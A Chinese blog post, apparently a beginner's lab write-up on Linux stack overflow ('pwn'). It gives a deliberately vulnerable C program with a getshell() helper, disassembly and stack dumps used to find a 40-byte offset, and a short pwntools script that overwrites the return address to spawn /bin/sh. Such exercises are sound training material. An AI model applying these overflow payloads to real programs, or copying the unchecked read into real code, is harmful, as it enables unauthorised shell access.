i春秋-Linux pwn 入门

原创

liminglei960316 于 2018-07-16 17:11:07 发布 1004 收藏
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/liminglei960316/article/details/81068298
版权

一环境准备(64位)

目标代码：与i春秋上有一点点区别，不同处标黄。

```
#include <stdio.h>
    int hello()
      {
          int buf;
           int v2;
        __int128 v3;
        buf=0;
        v2=0;
        v3=0;
        read(0,&buf,0x64u);
          return printf("hello\n,%ls",&buf);
          }
        int getshell()
        {
          return system("/bin/sh");
          }
          int main(void)
                {
              hello();
              return 0;
                }
```

通过gcc 命令生成elf文件、

调试环境：IDA 远程调试，连接到ubuntu。即可在Windows下动态调试elf文件。上手后决的不是很好用。在ubuntu里安装了edb-debug。

二溢出位置计算

左图是对栈的初始化，右图是初始化后的栈帧。

```
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, fs:[0x28]
mov [rbp-8], rax
xor eax, eax
mov dword [rbp-0x28], 0
mov dword [rbp-0x24], 0
mov qword [rbp-0x20], 0
mov qword [rbp-0x18], 0
lea rax, [rbp-0x28]
mov edx, 0x64
mov rsi, rax
mov edi, 0
mov eax, 0
```

```
00007ffc:4ac28c78|0000000000000000|........
00007ffc:4ac28c80|0000000000000000|........
00007ffc:4ac28c88|0000000000000000|........
00007ffc:4ac28c90|000055b767e8f7f0|  |g0U..| ASCII "AWAVI"
00007ffc:4ac28c98|5a2686d1d2b42b00|.+▲▲▯.&Z
00007ffc:4ac28ca0|00007ffc4ac28cb0|▲.┼J ...| return to 0x00007ffc4ac28cb0
00007ffc:4ac28ca8|000055b767e8f7dd|▯ |g0U..| return to 0x000055b767e8f7dd <icq!main+14>
000055b7:67e8f7c3 b8 00 00 00 00    mov eax,0
000055b7:67e8f7c8 e8 23 fe ff ff    call icq!system@plt
```

对栈进行分析： .....70为buf开始地址，98为函数返回地址，000055b7:67e8f7c8是shell函数地址

98-70=28h

playload=40个字符＋目标地址

三获取权限

在edb中对内存的修改不好用，转到ida中进行提权的修改。

首先根据在edb中动态调试的分析对hello return 值手工修改让其返回到getshell处

```
00007FFE23DC80E8   000055E1CA8A87B8 getshell
```

单步调试，分析程序流。跳转到getshell内部

```
.text:000055884779B7B8 getshell proc near
.text:000055884779B7B8 push    rbp
.text:000055884779B7B9 mov     rbp, rsp
.text:000055884779B7BC lea     rdi, command                    ; "/bin/sh"
.text:000055884779B7C3 mov     eax, 0
.text:000055884779B7C8 call    _system
.text:000055884779B7CD pop     rbp
.text:000055884779B7CE retn
.text:000055884779B7CE getshell endp
```

在CALL _SYSTEM处报错，暂时还没解决。

（2）通过playload 返回shell

漏洞利用代码：

```
from pwn import *

p = process('./icq')

shell = 0x00000000000007B8

payload = 'A'*40 +p64(shell)

p.send(payload)

p.interactive()
```

返回shell